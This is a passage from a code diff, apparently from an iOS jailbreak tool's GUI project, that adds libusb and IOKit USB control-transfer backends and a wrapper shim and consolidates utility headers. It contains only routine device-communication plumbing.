enum usb_transfer ret;
|
||||
uint32_t sz;
|
||||
} transfer_ret_t;
|
||||
|
||||
typedef struct {
|
||||
uint16_t vid, pid;
|
||||
io_service_t serv;
|
||||
IOUSBDeviceInterface320 **device;
|
||||
CFRunLoopSourceRef async_event_source;
|
||||
} usb_handle_t;
|
||||
|
||||
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface);
|
||||
void close_usb_device(usb_handle_t *handle);
|
||||
void close_usb_handle(usb_handle_t *handle);
|
||||
bool open_usb_device(io_service_t serv, usb_handle_t *handle);
|
||||
bool wait_usb_handle(usb_handle_t *handle);
|
||||
void reset_usb_handle(usb_handle_t *handle);
|
||||
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret);
|
||||
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret);
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
|
||||
|
||||
#endif // IOKIT_BACKEND_H
|
||||
|
||||
#endif // __APPLE__
|
||||
@@ -0,0 +1,102 @@
|
||||
#ifndef __APPLE__
|
||||
|
||||
#include "usb_libusb.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <libusb-1.0/libusb.h>
|
||||
|
||||
#include "../utils.h"
|
||||
|
||||
void close_usb_handle(usb_handle_t *handle) {
|
||||
libusb_close(handle->device);
|
||||
libusb_exit(NULL);
|
||||
}
|
||||
|
||||
void reset_usb_handle(const usb_handle_t *handle) {
|
||||
libusb_reset_device(handle->device);
|
||||
}
|
||||
|
||||
bool wait_usb_handle(usb_handle_t *handle) {
|
||||
if(libusb_init(NULL) == LIBUSB_SUCCESS) {
|
||||
for(;;) {
|
||||
if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) {
|
||||
if(libusb_set_configuration(handle->device, 1)) {
|
||||
return true;
|
||||
}
|
||||
libusb_close(handle->device);
|
||||
}
|
||||
sleep_ms(USB_TIMEOUT);
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void usb_async_cb(struct libusb_transfer *transfer) {
|
||||
*(int *)transfer->user_data = 1;
|
||||
}
|
||||
|
||||
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
|
||||
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, USB_TIMEOUT);
|
||||
|
||||
if(transfer_ret != NULL) {
|
||||
if(ret >= 0) {
|
||||
transfer_ret->sz = (uint32_t)ret;
|
||||
transfer_ret->ret = USB_TRANSFER_OK;
|
||||
} else if(ret == LIBUSB_ERROR_PIPE) {
|
||||
transfer_ret->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
transfer_ret->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
|
||||
struct libusb_transfer *transfer = libusb_alloc_transfer(0);
|
||||
struct timeval tv;
|
||||
int completed = 0;
|
||||
uint8_t *buf;
|
||||
|
||||
if(transfer != NULL) {
|
||||
if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) {
|
||||
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) {
|
||||
memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len);
|
||||
}
|
||||
libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len);
|
||||
libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, USB_TIMEOUT);
|
||||
if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) {
|
||||
tv.tv_sec = usb_abort_timeout / 1000;
|
||||
tv.tv_usec = (usb_abort_timeout % 1000) * 1000;
|
||||
while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) {
|
||||
libusb_cancel_transfer(transfer);
|
||||
}
|
||||
if(completed != 0) {
|
||||
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) {
|
||||
memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length);
|
||||
}
|
||||
if(transfer_ret != NULL) {
|
||||
transfer_ret->sz = (uint32_t)transfer->actual_length;
|
||||
if(transfer->status == LIBUSB_TRANSFER_COMPLETED) {
|
||||
transfer_ret->ret = USB_TRANSFER_OK;
|
||||
} else if(transfer->status == LIBUSB_TRANSFER_STALL) {
|
||||
transfer_ret->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
transfer_ret->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
free(buf);
|
||||
}
|
||||
libusb_free_transfer(transfer);
|
||||
}
|
||||
return completed != 0;
|
||||
}
|
||||
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
|
||||
handle->vid = vid;
|
||||
handle->pid = pid;
|
||||
handle->device = NULL;
|
||||
}
|
||||
|
||||
#endif // __APPLE__
|
||||
@@ -0,0 +1,37 @@
|
||||
#ifndef __APPLE__
|
||||
|
||||
#ifndef LIBUSB_BACKEND_H
|
||||
#define LIBUSB_BACKEND_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <libusb-1.0/libusb.h>
|
||||
|
||||
#define USB_TIMEOUT (5)
|
||||
|
||||
enum usb_transfer {
|
||||
USB_TRANSFER_OK,
|
||||
USB_TRANSFER_ERROR,
|
||||
USB_TRANSFER_STALL
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
enum usb_transfer ret;
|
||||
uint32_t sz;
|
||||
} transfer_ret_t;
|
||||
|
||||
typedef struct {
|
||||
uint16_t vid, pid;
|
||||
struct libusb_device_handle *device;
|
||||
} usb_handle_t;
|
||||
|
||||
void close_usb_handle(usb_handle_t *handle);
|
||||
void reset_usb_handle(const usb_handle_t *handle);
|
||||
bool wait_usb_handle(usb_handle_t *handle);
|
||||
void usb_async_cb(struct libusb_transfer *transfer);
|
||||
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret);
|
||||
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret);
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
|
||||
|
||||
#endif // LIBUSB_BACKEND_H
|
||||
|
||||
#endif // __APPLE__
|
||||
@@ -0,0 +1,35 @@
|
||||
#include "usb_shim.h"
|
||||
|
||||
#ifdef __APPLE__
|
||||
# include "usb_iokit.h"
|
||||
#else
|
||||
# include "usb_libusb.h"
|
||||
#endif
|
||||
|
||||
bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret) {
|
||||
bool ret = false;
|
||||
void *p_data;
|
||||
|
||||
if(w_len == 0) {
|
||||
ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, transfer_ret);
|
||||
} else if((p_data = malloc(w_len)) != NULL) {
|
||||
memset(p_data, '\0', w_len);
|
||||
ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, transfer_ret);
|
||||
free(p_data);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
|
||||
bool ret = false;
|
||||
void *p_data;
|
||||
|
||||
if(w_len == 0) {
|
||||
ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout, transfer_ret);
|
||||
} else if((p_data = malloc(w_len)) != NULL) {
|
||||
memset(p_data, '\0', w_len);
|
||||
ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout, transfer_ret);
|
||||
free(p_data);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#ifndef BACKEND_SHIM_H
|
||||
#define BACKEND_SHIM_H
|
||||
|
||||
#ifdef __APPLE__
|
||||
# include "usb_iokit.h"
|
||||
#else
|
||||
# include "usb_libusb.h"
|
||||
#endif
|
||||
|
||||
bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret);
|
||||
bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret);
|
||||
char *get_usb_serial_number(usb_handle_t *handle);
|
||||
|
||||
#endif // BACKEND_SHIM_H
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
#ifndef CONSTANTS_H
|
||||
#define CONSTANTS_H
|
||||
|
||||
#define PALERAIN_VERSION "3.0.0"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#ifdef __WIN32
|
||||
# include <windows.h>
|
||||
#else
|
||||
# include <time.h>
|
||||
#endif
|
||||
|
||||
#define LOG(fmt, ...) \
|
||||
printf("(%s:%d) => " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
|
||||
|
||||
static void sleep_ms(unsigned ms) {
|
||||
#ifdef __WIN32
|
||||
Sleep(ms);
|
||||
#else
|
||||
struct timespec ts;
|
||||
|
||||
ts.tv_sec = ms / 1000;
|
||||
ts.tv_nsec = (ms % 1000) * 1000000L;
|
||||
nanosleep(&ts, NULL);
|
||||
#endif
|
||||
}
|
||||
|
||||
static uint64_t palerain_flags = 0;
|
||||
|
||||
#endif // CONSTANTS_H
|
||||
@@ -1,3 +0,0 @@
|
||||
#include "constants.h"
|
||||
|
||||
uint64_t palerain_flags = 0;
|
||||
@@ -1,10 +0,0 @@
|
||||
#ifndef CONSTANTS_H
|
||||
#define CONSTANTS_H
|
||||
|
||||
#define PALERAIN_VERSION "3.0.0"
|
||||
|
||||
#include <cstdint>
|
||||
|
||||
extern uint64_t palerain_flags;
|
||||
|
||||
#endif // CONSTANTS_H
|
||||
@@ -1,19 +0,0 @@
|
||||
#ifndef LOG_H
|
||||
#define LOG_H
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#define RESET_COLOR "\033[0m"
|
||||
#define RED_COLOR "\033[31m"
|
||||
#define GREEN_COLOR "\033[32m"
|
||||
#define YELLOW_COLOR "\033[33m"
|
||||
#define BLUE_COLOR "\033[34m"
|
||||
#define MAGENTA_COLOR "\033[35m"
|
||||
#define CYAN_COLOR "\033[36m"
|
||||
#define WHITE_COLOR "\033[37m"
|
||||
#define GRAY_COLOR "\033[90m"
|
||||
|
||||
#define LOG(fmt, ...) \
|
||||
printf("(%s:%d) => " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
|
||||
|
||||
#endif // LOG_H
|
||||
+1
-1
@@ -3,7 +3,7 @@
|
||||
#include "AppFrame.hpp"
|
||||
|
||||
#include <wx/wx.h>
|
||||
#include "../utils/constants.h"
|
||||
#include "../utils.h"
|
||||
#include "../event.hpp"
|
||||
|
||||
#include <thread>
|
||||
|
||||
+1
-1
@@ -6,7 +6,7 @@
|
||||
#include "DevicePanel.hpp"
|
||||
#include "../state.hpp"
|
||||
#include "../sequence.hpp"
|
||||
#include "../utils/log.h"
|
||||
#include "../utils.h"
|
||||
|
||||
#include <thread>
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
#include "AppFrame.hpp"
|
||||
#include "DevicePanel.hpp"
|
||||
#include "../state.hpp"
|
||||
#include "../utils/log.h"
|
||||
#include "../utils.h"
|
||||
|
||||
ExploitPanel::ExploitPanel(MainFrame* frame, wxWindow* parent)
|
||||
: DevicePanel(frame, parent)
|
||||
|
||||
@@ -6,8 +6,8 @@
|
||||
|
||||
#include "AppFrame.hpp"
|
||||
#include "DevicePanel.hpp"
|
||||
#include "../utils/constants.h"
|
||||
#include "../utils/paleinfo.h"
|
||||
#include "../utils.h"
|
||||
#include "../paleinfo.h"
|
||||
|
||||
SettingsPanel::SettingsPanel(MainFrame* frame, wxWindow* parent)
|
||||
: DevicePanel(frame, parent)
|
||||
|
||||
Reference in new issue
Block a user